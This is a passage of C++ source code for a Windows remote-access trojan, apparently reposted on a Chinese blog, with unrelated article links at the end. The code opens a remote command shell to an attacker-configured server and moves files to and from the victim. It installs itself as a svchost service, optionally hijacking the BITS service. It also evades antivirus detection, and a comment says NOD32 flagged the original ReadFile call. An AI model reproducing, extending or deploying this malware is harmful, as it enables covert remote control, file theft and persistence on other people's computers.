    	char *chBuffer = new char[512 * 1024]; //数据交换区 512KB
    
    	//send socket type 
    	msgHead.dwCmd = SOCKET_CMDSHELL;
    	msgHead.dwSize = 0;
    	if(!SendMsg(ShellSocket, chBuffer, &msgHead))
    	{
    		closesocket(ShellSocket);
    		return 0;//send socket type error
    	}
    
    	while(1)
    	{
    		//接收命令
    		if(!RecvMsg(ShellSocket, chBuffer, &msgHead))
    			break;
    
    		//解析命令
    		switch(msgHead.dwCmd)
    		{
    		case CMD_SHELLRUN:
    			{
    				DOSShell(chBuffer, &msgHead);
    			}
    			break;
    		default:
    		    break;
    		}
    
    		//发送数据
    		if(!SendMsg(ShellSocket, chBuffer, &msgHead))
    			break;
    	}	
    
    	if(chBuffer != NULL)
    		delete[] chBuffer;
    
    	closesocket(ShellSocket);
    	return 0;
    }
    
    //////////////////////////////////////////////////////////////////////////////////
    //文件上传下载
    DWORD _stdcall FileDownThread(LPVOID lParam)
    {
    	
    	FileOpt m_FileOpt;
    	memcpy(&m_FileOpt,(FileOpt*)lParam,sizeof(FileOpt));
    
    	struct sockaddr_in LocalAddr;
    	LocalAddr.sin_family=AF_INET;
    	LocalAddr.sin_port=htons(modify_data.ServerPort);
    	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
    	
    	SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0);
    	if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
    	{
    		closesocket(FileSocket);
    		return 0;//connect error
    	}
    
    	MsgHead msgHead;
    	//send socket type 
    	msgHead.dwCmd = SOCKET_FILEDOWN;
    	msgHead.dwSize = 0;
    	if(!SendMsg(FileSocket, NULL, &msgHead))
    	{
    		closesocket(FileSocket);
    		return 0;//send socket type error
    	}
    
    	//////////////////////////////////////////////////////
    	HANDLE hDownFile = INVALID_HANDLE_VALUE;
    	DWORD  dwDownFileSize = 0, dwBytes;
    	BYTE   SendBuffer[4096];
    	int nRet =0 ;
    
    	//get download data
    	hDownFile = CreateFile(m_FileOpt.cScrFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    	if (hDownFile == INVALID_HANDLE_VALUE)//CMD_READFILEEOR
    		dwDownFileSize  = 0;
    	else
    		dwDownFileSize = GetFileSize(hDownFile, NULL);
    
    	m_FileOpt.iSize = dwDownFileSize;
    	//send file message
    	if(send(FileSocket, (char *)&m_FileOpt, sizeof(FileOpt), 0) <=0 || dwDownFileSize <= 0)
    	{
    		shutdown(FileSocket,0x02);
    		closesocket(FileSocket);
    		return 1;//send socket type error				
    	}
    
    	//被NOD32启发杀了
    //	HINSTANCE hInst;
    	HINSTANCE hInst = LoadLibrary("kernel32.dll");
    	if(hInst == NULL)
    	{
    		closesocket(FileSocket);
    		return 0;//send socket type error
    	}
    	typedef BOOL (WINAPI *pReadFile)(
    		HANDLE hFile,
    		LPVOID lpBuffer,
    		DWORD nNumberOfBytesToRead,
    		LPDWORD lpNumberOfBytesRead,
    		LPOVERLAPPED lpOverlapped
    			);
    	pReadFile MyReadFile;
    //	pReadFile MyReadFile = (pReadFile)GetProcAddress(hInst, "ReadFile");	
    
    	//循环发送文件数据
    	while(dwDownFileSize > 0)
    	{
    		if (MyReadFile)
    		{
    			if( !MyReadFile(hDownFile, SendBuffer, 4096, &dwBytes, NULL) )
    				break;
    		}
    		else
    		{
    			if( !ReadFile(hDownFile, SendBuffer, 4096, &dwBytes, NULL) )
    				break;
    		}
    
    		if( send(FileSocket, (char*)&SendBuffer, dwBytes, 0) <= 0 )
    			break;
    		dwDownFileSize -= dwBytes;
    
    	}
    	if (hInst)
    		FreeLibrary(hInst);
    	CloseHandle(hDownFile);
    	shutdown(FileSocket,0x02);
    	closesocket(FileSocket);
    	
    	return 10;
    }
    
    DWORD _stdcall FileUpThread(LPVOID lParam)
    {
    	FileOpt m_FileOpt;
    	memcpy(&m_FileOpt,(FileOpt*)lParam,sizeof(FileOpt));
    
    	struct sockaddr_in LocalAddr;
    	LocalAddr.sin_family=AF_INET;
    	LocalAddr.sin_port=htons(modify_data.ServerPort);
    	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
    	
    	SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0);
    	if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
    	{
    		closesocket(FileSocket);
    		return 0;//connect error
    	}
    
    	int iOutTime = 60000;//60秒超时
    	setsockopt(FileSocket, SOL_SOCKET, SO_RCVTIMEO, (char*)&iOutTime, sizeof(int));	
    	
    	MsgHead msgHead;
    	//send socket type 
    	msgHead.dwCmd = SOCKET_FILEUP;
    	msgHead.dwSize = 0;
    	if(!SendMsg(FileSocket, NULL, &msgHead))
    	{
    		closesocket(FileSocket);
    		return 0;//send socket type error
    	}
    
    	//////////////////////////////////////////////////////
    	HANDLE hUpFile = INVALID_HANDLE_VALUE;
    	DWORD  dwUpFileSize = 0, dwBufSize = 4096, dwBytes;
    	BYTE   RecvBuffer[4096];
    	int nRet =0 ;
    
    	//get download data
    	hUpFile = CreateFile(m_FileOpt.cScrFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    	if (hUpFile == INVALID_HANDLE_VALUE)//CMD_READFILEEOR
    		dwUpFileSize  = 0;
    	else
    		dwUpFileSize = 100;
    
    	m_FileOpt.iSize = dwUpFileSize;
    	//send file message
    	if(send(FileSocket, (char *)&m_FileOpt, sizeof(FileOpt), 0) <=0 || dwUpFileSize <= 0)
    	{
    		shutdown(FileSocket,0x02);
    		closesocket(FileSocket);
    		return 1;//send socket type error				
    	}
    
    	while(TRUE)
    	{
    		nRet = recv(FileSocket, (char*)&RecvBuffer, dwBufSize, 0);	
    		if (nRet <= 0)
    			break;
    		WriteFile(hUpFile, RecvBuffer, nRet, &dwBytes, NULL);
    	}
    
    	CloseHandle(hUpFile);
    	shutdown(FileSocket,0x02);
    	closesocket(FileSocket);
    
    	return 10;
    }
    
    ////////////////////////////////////////////////////////////////////////////////////////////////////
    BOOL _stdcall Install(LPCSTR szDllPath)
    {
    	if (modify_data.bReplace)
    		return ReplaceSvchostService("BITS",szDllPath);
    	else
    		return InstallSvchostService(modify_data.strSvrName, 
    		                             modify_data.strSvrDisp, 
    					                 modify_data.strSvrDesc,
    					                 szDllPath);
    }
    
    BOOL _stdcall Uninstall()
    {
    	if (modify_data.bReplace)
    	{
    		StopService(modify_data.strSvrName);
    	}
    	else
    	{
    		StopService(modify_data.strSvrName);
    		UninstallService(modify_data.strSvrName);
    	}
    
    	return TRUE;
    }
    
    void CALLBACK RundllInstall(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow)
    {
    	Install(param);
    }
    
    void CALLBACK RundllUninstall(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow)
    {
    	Uninstall();
    }
    
    ////////////////////////////////////////////////////////////////////////////////////////////////////
    //Service HANDLE & STATUS used to get service state
    SERVICE_STATUS_HANDLE hSrv;
    DWORD dwCurrState;
    
    void __stdcall ServiceMain(DWORD dwArgc, wchar_t* argv[])
    {
    	char svcname[256];
    	strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well
    	wcstombs(svcname, argv[0], sizeof svcname);
    
    	hSrv = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler );
        
    	if( hSrv == NULL )
    		return;
    	else 
    		FreeConsole();
    
    	TellSCM( SERVICE_START_PENDING, 0, 1 );
    	TellSCM( SERVICE_RUNNING, 0, 0 );
    		
    	//Run My Main Code=============
    
    	HANDLE hThread = CreateThread(NULL,NULL,RuningThread,NULL,NULL,NULL);
    	WaitForSingleObject(hThread, INFINITE);
    	CloseHandle(hThread);
    
        do
    	{
    		Sleep(100);//not quit until receive stop command, otherwise the service will stop
    	}while(dwCurrState != SERVICE_STOP_PENDING && dwCurrState != SERVICE_STOPPED);
    }
    
    void __stdcall ServiceHandler( DWORD dwCommand )
    {
        switch( dwCommand )
        {
        case SERVICE_CONTROL_STOP:
            TellSCM( SERVICE_STOP_PENDING, 0, 1 );
    		Sleep(10);
            TellSCM( SERVICE_STOPPED, 0, 0 );
            break;
        case SERVICE_CONTROL_PAUSE:
            TellSCM( SERVICE_PAUSE_PENDING, 0, 1 );
            TellSCM( SERVICE_PAUSED, 0, 0 );
            break;
        case SERVICE_CONTROL_CONTINUE:
            TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 );
            TellSCM( SERVICE_RUNNING, 0, 0 );
            break;
        case SERVICE_CONTROL_INTERROGATE:
            TellSCM( dwCurrState, 0, 0 );
            break;
        case SERVICE_CONTROL_SHUTDOWN:
            TellSCM( SERVICE_STOPPED, 0, 0 );
    		break;
        }
    }
    
    int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
    {
          SERVICE_STATUS srvStatus;
          srvStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
          srvStatus.dwCurrentState = dwCurrState = dwState;
          srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
          srvStatus.dwWin32ExitCode = dwExitCode;
          srvStatus.dwServiceSpecificExitCode = 0;
          srvStatus.dwCheckPoint = dwProgress;
          srvStatus.dwWaitHint = 3000;
          return SetServiceStatus( hSrv, &srvStatus );
    }
    
    BOOL APIENTRY DllMain( HINSTANCE hModule, 
                           DWORD  ul_reason_for_call, 
                           LPVOID lpReserved
    					 )
    {
    	switch (ul_reason_for_call)
    	{
    	case DLL_PROCESS_ATTACH:
    		g_hDllModule = (HMODULE)hModule;
        #ifdef NETBOT_TEST
    		CreateThread(NULL,NULL,RuningThread,NULL,NULL,NULL);
        #endif //NETBOT_TEST	
    		break;
    	case DLL_THREAD_ATTACH:
    		break;
    	case DLL_THREAD_DETACH:
    		break;
    	case DLL_PROCESS_DETACH:		
    		break;
        }
        return TRUE;
    }
    


     

  • 相关阅读:
    java笔记之IO详解——序列流
    java笔记之IO详解——输出字符流
    java笔记之IO详解——输入字符流
    java笔记之IO详解——输出字节流
    Nginx同一个域名部署多个项目
    服务器安装mongo数据库
    服务器安装node
    服务器Nginx配置及文件目录
    笔记 [待整理]
    vue-cli3打包app物理按键失效的问题[已解决]
  • 原文地址:https://www.cnblogs.com/new0801/p/6177759.html
Copyright © 2011-2022 走看看